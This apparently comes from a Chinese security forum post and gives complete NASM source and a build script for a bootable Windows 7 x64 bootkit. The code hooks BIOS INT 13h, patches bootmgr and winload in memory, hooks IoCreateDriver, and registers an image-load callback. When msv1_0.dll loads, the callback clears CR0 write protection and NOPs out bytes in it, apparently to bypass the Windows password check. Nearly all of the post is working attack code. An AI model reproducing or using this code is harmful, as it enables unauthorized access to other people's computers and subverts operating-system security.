代码中有很多垃圾代码,大家见谅。

代码:
#filename bian.bat
@set path=d:\Program Files\nasm;%path%
nasm passx64win7.asm -o loader7x64.bin
事先安装好nasm 编译出的bin作为光盘启动文件。
代码:
;filename: passx64win7.asm
;16bits code
MBRBASE equ 0x7c0 ;MBR被加载到0x7c00处
NEWBASE equ 0x9e00 ;
;32 bits code
LAGERNEWBASE equ 0x9e000 
base32 equ qword 0xfffff8000009f000
Archx86TransferTo64BitApplicationAsmCall equ 0x0043e035; 地址的硬编码,在程序运行时代码会修改此值。
WINLOADPATCH1 equ 0x1265 ; 00000000`0052f265 call OslLoadImage 
WINLOADPATCH2 equ 0x67c20;  0x595C20 this is blank space offset
WINLOADPATCHEND equ 0x6660a;0x0470d6 ; ox5945E0 OslArchTransferToKernel address offset 0x594648  59460A
;以上都是硬编码,在程序中哦使用的时候都会被修改。?
use16
BlockStart: 
  jmp main ;跳到主程序
start:
;读取硬盘真实的MBR
  xor ax, ax
  mov sp,0x7bff
  mov bx, 0x7c00
  ;mov bx, MBRBASE
  mov es, ax    ; read to es:bx
  mov ax, 0x201    ; ah=2 - read sectors, al - sectors num
  mov cx, 1    ; sector  from Harddisk boot
  mov dx, 0x80    ; hdd
  int 0x13
  jmp 0:0x7c00
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
intHandler: ;hook function base adress    此处是新的int13的入口
        pushf
    cmp ah,0x42
        jz processint13request
        cmp ah,0x2
        jz processint13request
        popf
        jmp 0x0:0x0 ;jmp back to original handler;thse zero are filled above 修改为真实的int13入口
INT13INTERRUPTVALUE EQU $-4 
processint13request:
        mov [cs:STOREAH],ah
        popf
        pushf
    call far [cs:INT13INTERRUPTVALUE] ;this jumps back to original int13 ivt
        jc returnback ;since request failed just go back
        pushf
        cli
        push es
        pusha
        mov ah,0x0       ;   this zero gets fillled by original ah code passed
STOREAH EQU $-1      
        cmp ah,0x42
        jnz notextrequest
        lodsw
        lodsw
        les bx,[si]
      
notextrequest:
        test al,al
        jng scandone
        cld
        mov cl,al
        mov al,0x4d
        shl cx,0x9
        mov di,bx
scanloop:
        repne scasb
    
        jnz scandone
        cmp dword [es:di],0x300905a;  0x74f685f0     ;加载到MZ的时候16Bits code 已经加载完毕。
        jnz scanloop
        cmp word [es:di+0x4],0x0 
        jnz scanloop
        
    pushad
    pushf    
        push 0x2000;
        pop es
        push NEWBASE  ; Setup the Data Segment register
        pop ds    
        mov si,BOOTMGR_16_BIT_PATCH_STARTS
        mov di, 0xa8c    ; this is the offset of code which jumps to bootmgr_main 
         mov cx,BOOTMGR_16_BIT_PATCH_ENDS - BOOTMGR_16_BIT_PATCH_STARTS 
         rep movsb
        push 0
        pop es
        mov eax,[ds:INT13INTERRUPTVALUE]
        mov [es:13h*4],eax
        ;修复 13h  中断
    popf
     popad
        
scandone:            ;pop pushed registers and get out
        popa
        pop es
        popf
returnback:  
       retf 0x2
    
BOOTMGR_16_BIT_PATCH_STARTS:;bootmgr 跳转到32bits 之前的16bits 结尾跳转到自己的补丁处
;push  CODEBASEIN1MBEXACT + BOOTMGR_PATCHER_STARTS - 0x20000
;ret
  db 0x66, 0xbb
  dd  LAGERNEWBASE + BOOTMGR_PATCHER_STARTS
  db 0x90
BOOTMGR_16_BIT_PATCH_ENDS:

USE32
;########################################################
;##  32 bit Code,is called before execution of BOOTMGR  ##
;########################################################
CODE32START:   
BOOTMGR_PATCHER_STARTS:
;mov dword [cs:0xa93],0
;jmp $
push edx
push ebp
pushad
pushf
;mov byte [Archx86TransferTo32BitApplicationAsm],0xcc
;find Archx86TransferTo64BitApplicationAsmCall
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    mov edi,0x430000
    mov ecx,0xF000 ;地址空间大小
    mov al,0xe8
  scan_loop_a:
    ; ff 15 59 00 03 00 48 3b c6 0f 85 c0 b8 00 00 
    repne scasb  
    mov ebx,[edi]
    add ebx,edi
    add ebx,4
    test ecx,ecx
    jz endloopa
    cmp  Dword [ebx], 0x53575655
    jne  scan_loop_a
    cmp Dword [ebx+4],0x200f1e06
    jne scan_loop_a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

dec edi
mov ax , word [edi] 
mov word [LAGERNEWBASE],ax
mov eax , dword [edi+2] 
mov dword [LAGERNEWBASE+0x2],eax
mov dword [LAGERNEWBASE+0x6],LAGERNEWBASE + WINLOAD_PATCHER_STARTS

mov dword [LAGERNEWBASE+0xa],edi

mov word [edi],0x25ff ;jmp dword []
mov dword [edi+0x2],LAGERNEWBASE+0x6

endloopa:
popf
popad
mov ebx, 0x401000
push ebx
ret


BOOTMGR_PATCHER_ENDS:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
WINLOAD_PATCHER_STARTS:
;这个代码是在bootmgr最后时候执行,修改完恢复补丁出,跳回去;
pushad
pushf

mov ebp,dword [LAGERNEWBASE+0xa]
mov [LAGERNEWBASE+PUSHADDRESS+1],ebp
mov dx,word [LAGERNEWBASE]
mov word [ebp],dx
mov edx,dword [LAGERNEWBASE+0x2]
mov dword [ebp+0x2],edx

;对winload 的重要 处进行补丁
;patch 1 kernel hook hook IoCreateDriver Function,and patch 
mov dword [LAGERNEWBASE], LAGERNEWBASE+stager32
mov dword [LAGERNEWBASE+4],0x0
mov eax,[esp+0x30]
mov edi, eax

    add edi,0x1000
    mov ecx,0xF00 ;地址空间大小
    mov al,0x4c
  scan_loop_b:
  
    ; ff 15 59 00 03 00 48 3b c6 0f 85 c0 b8 00 00 
    repne scasb  
    mov ebx,[edi+2]
    test ecx,ecx
    jz endloopb
    cmp ebx,0x100000
    jnl scan_loop_b
    add ebx,edi
    add ebx,6
    cmp  dword [ebx], 0x74006e
    jne  scan_loop_b
    cmp dword [ebx+4],0x73006f
    jne scan_loop_b
    cmp  dword [ebx+8], dword 0x72006b; 48 3b c6 0f 85 c0 b8 00
    jne  scan_loop_b
    cmp  dword [ebx+0xc], dword 0x6c006e; 48 3b c6 0f 85 c0 b8 00
    jne  scan_loop_b
    mov al,0xe8
    repne scasb
    add edi,0x4
    mov ebx,edi
    mov ecx,LAGERNEWBASE-0x6
    sub ecx,ebx
mov [LAGERNEWBASE +  WINLOAD_32_BIT_PATCH_STARTS + 2],ecx
mov esi,LAGERNEWBASE + WINLOAD_32_BIT_PATCH_STARTS
mov ecx,WINLOAD_32_BIT_PATCH_ENDS - WINLOAD_32_BIT_PATCH_STARTS 
rep movsb


endloopb:

popf
popad
PUSHADDRESS:
push Archx86TransferTo64BitApplicationAsmCall
ret
WINLOAD_PATCHER_ENDS:

WINLOAD_32_BIT_PATCH_STARTS:
dw 0x15ff
dd LAGERNEWBASE-0x0052f265-0x6
db 0x90
WINLOAD_32_BIT_PATCH_ENDS:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
USE64
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ntBase dq 0
stager32:
  push rbx
  push rbp
  push rsi
  push rdi
  push rcx
  ;int3
  push rax
  mov rax,0xFFFFF6FC000004F8
  mov qword[rax],0x9e163
  pop rax
;push rax
;mov rax,cr3
;mov rax,qword[rax+0x1f0*8] 
;and eax,0xfffff000  
;mov rax,qword[rax+0x0*8]
;and eax,0xfffff000
;mov rax,qword[rax+0x0*8]
;and eax,0xfffff000
;add rax,0x9f*8
;mov qword [rax],LAGERNEWBASE + 0x183
;pop rax  

  mov [ntBase+LAGERNEWBASE], rbx
  call payload    
  ;popad
  ; 恢复正常 WinLoad 代码
  
pop rcx
pop rdi
pop rsi
pop rbp
pop rbx
;ret
;flag1:  
movsxd rbx,eax
xor eax,eax
cmp ebx,eax
ret
;
iniFcnToHookHash equ word 0E663h  ; IoCreateDriver

stagerSize equ (stagerEnd-stager)

payload:


  push rax
  push rbx
  push rcx
  push rsi
  push rdi
  
  
  mov bx, iniFcnToHookHash ;IoCreateDriver
  call GetProcAddressKernel
  
  xor rcx, rcx
  mov rsi, rax       
  mov rdi, LAGERNEWBASE+residentEnd  ; 保存入口处代码,
  mov rcx,  stagerSize
  rep movsb

  mov rsi, stager+LAGERNEWBASE    ; a misto ni tam dame stager
  mov rdi, rax
  mov rcx, stagerSize
  call memcpy
  
  pop rdi
  pop rsi
  pop rcx
  pop rbx  
  pop rax
  
  ret

; ###########################################################################

stager:
  mov rax, _stager+base32
  call rax      ; 7 bytu
stagerEnd:
; ###########################################################################

_stager:
  sub qword[rsp], stagerSize  ; 
  push rcx
  push rdx
  push r8
  push r9
  push rbx
  sub rsp,0x20
  ;int3
  mov bx, word 0A353h    ; hash PsSetLoadImageNotifyRoutine=0E14EA353h
  call GetProcAddressNt
  mov rcx,PspLoadImageNotifyRoutine + base32
  call rax  ; registrujeme handler "on image loaded"
  .stagerRemove:
  mov rsi, base32+residentEnd  ; 恢复IoCreateDriver
  mov rdi, [rsp+0x48]    ; 
  xor rcx, rcx
  mov ecx, stagerSize    ; 
  call memcpy
  ;int3
  add rsp,0x20
  pop rbx
  pop r9
  pop r8
  pop rdx
  pop rcx
  ret

;
; dt _UNICODE_STRING poi(esp+4)
PspLoadImageNotifyRoutine:
  
  push rax
  push rbx
  push rcx
  push rdx
  push rsi
  push rbp
  push rdi
  ;mov rbp,base32
  ;int3
  .isItMsv1_0:
  mov rax,rcx ;_UNICODE_STRING {length:2,maxLength:2,pBuffer:4}
  mov rcx, 20    ; 宽字符 "msv1_0.dll"
  mov rsi, qword[rax+8]
  xor rdx,rdx
  mov dx,word[rax]
  add rsi, rdx
  sub rsi, rcx    ; 转换成ASCII
  xor rax, rax
  cdq
  @hash: lodsb    ; hash
  ror edx, 0xd
  add edx, eax
  loop @hash
  cmp dx, 6399h
  jne die
  ;FALG1:
  ;jmp FALG2
    mov rbp,base32
    mov rbx, [r8+0x8]
    ;mov rbx,rbp;qword [rbp+PspLoadImageNotifyRoutine-8]
    mov rdi,rbx
    add rdi,0xF000
    mov rcx,0xF00 ;地址空间大小
    mov al,0ffh
  scan_loop_s:
  
    ; ff 15 59 00 03 00 48 3b c6 0f 85 c0 b8 00 00 
    repne scasb  
    test ecx,ecx
    jz endloop
    cmp  byte [rdi], 15h
    jne  scan_loop_s
    cmp Dword [rdi+1],0x00030059
    jne scan_loop_s
    cmp  dword [rdi+5], dword 0x0fc63b48; 48 3b c6 0f 85 c0 b8 00
    jne  scan_loop_s
    cmp  dword [rdi+9], dword 0x00b8c085; 48 3b c6 0f 85 c0 b8 00
    jne  scan_loop_s
  ;int3
  mov rbx, cr0
  mov rdx,rbx
  and ebx, 0FFFEFFFFh  
  mov cr0, rbx
  mov [rdi+5],dword 0x90909090
  mov [rdi+5+4],dword 0x90909090
  mov byte[rdi+5+8],0x90
  mov cr0,rdx
  endloop:
  mov [rbp + PspLoadImageNotifyRoutine], dword 0x909090c3 ;这个回调用完后销毁 Ret 0c;


  die:
  pop rdi
  pop rbp
  pop rsi
  pop rdx
  pop rcx
  pop rbx
  pop rax
  ret 
  
;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
;  UTILS
;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((

;
; edi - destination
; esi - source
; ecx - bytesNr
;
memcpy:
  push rbx
  push rdx
  
  mov rbx, cr0
  mov rdx, rbx
  and ebx, 0FFFEFFFFh  ; bit 16 - odstrani write protect
  ;btr ebx, 16    ; store selected bit in CF and clear
  mov cr0, rbx
  
  rep movsb
  
  mov cr0, rdx
  
  pop rdx
  pop rbx
  ret  
  
;
; Vypocte ror hash.
; esi - null terminated string
; edx - computed hash
; nuluje eax
;
rorHash:
  xor eax,eax
  cdq
.hash:  lodsb
  ror edx,0xd
  add edx,eax
  test al,al
  jnz .hash
  ret

;
GetProcAddressKernel:
  push rbp
  mov rbp, qword [ntBase+LAGERNEWBASE]
  jmp GetProcAddress
GetProcAddressNt:
  push rbp
  mov rax,ntBase+base32
  mov rbp, qword[rax]  ; hledame jen v ntoskrnl
GetProcAddress:
  push rdx
    push rcx
    push rdi
    push rbx
    push rsi
 ;   push rbp   
  
  xor rcx,rcx
  mov edi,dword [rbp+0x3c]
  mov edi,dword [rbp+rdi+0x88]  ; DataDirectory[0=EAT]{VirtualAddress, Size} to get offset to export table   ; this value is 0x78 for 32 bit executables
  add rdi,rbp
.fcn:
  xor rdx,rdx
  mov edx,dword [rdi+0x20]  ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
  add rdx,rbp
  mov esi,[rdx+rcx*4]
  add rsi,rbp    ; rsi=FcnName
  call rorHash
  inc rcx
  cmp dx,bx
  jnz .fcn ;don't find it go on 
  dec rcx
  
  mov ebx,[rdi+0x24]  ; IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
  add rbx,rbp
  mov cx,[rbx+rcx*2]  ; ordinal
  mov ebx,[rdi+0x1c]  ; IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
  add rbx,rbp
  mov eax,[rbx+rcx*4]  ; AddressOfFunctions[ordinal]
  add rax,rbp;eax is adress
    pop rsi
    pop rbx
    pop rdi
    pop rcx
    pop rdx
  pop rbp
  
  ret
residentEnd:  
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CODEBASE_CHANGE_START_BITS:

CODEBASE_CHANGE_END_BITS:
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
use16    
BootSec dw 0
BlockEnd:
main:
;不详细解释每一行代码的详细功能了
  cli
  push 0
  pop es ;设置es 段为0 
  mov eax,[es:13h*4]
  push MBRBASE
  pop ds
;hook int13 中断
  mov dword[ds:INT13INTERRUPTVALUE],eax
  mov [es:13h*4], word intHandler
  mov [es:13h*4+2], word NEWBASE
  sti
  
  push NEWBASE 
  pop es  ;config es section is base NEWBASE
  xor di, di ;cls di

  mov si, 0
  mov ecx, BlockEnd-BlockStart ;长度
  rep movsb ;复制整个代码段到新的内存段

  jmp NEWBASE:start ;jmp new section 跳转到新的代码段
  
times 2048-($-$$) db 0  
http://bbs.pediy.com/showthread.php?t=128697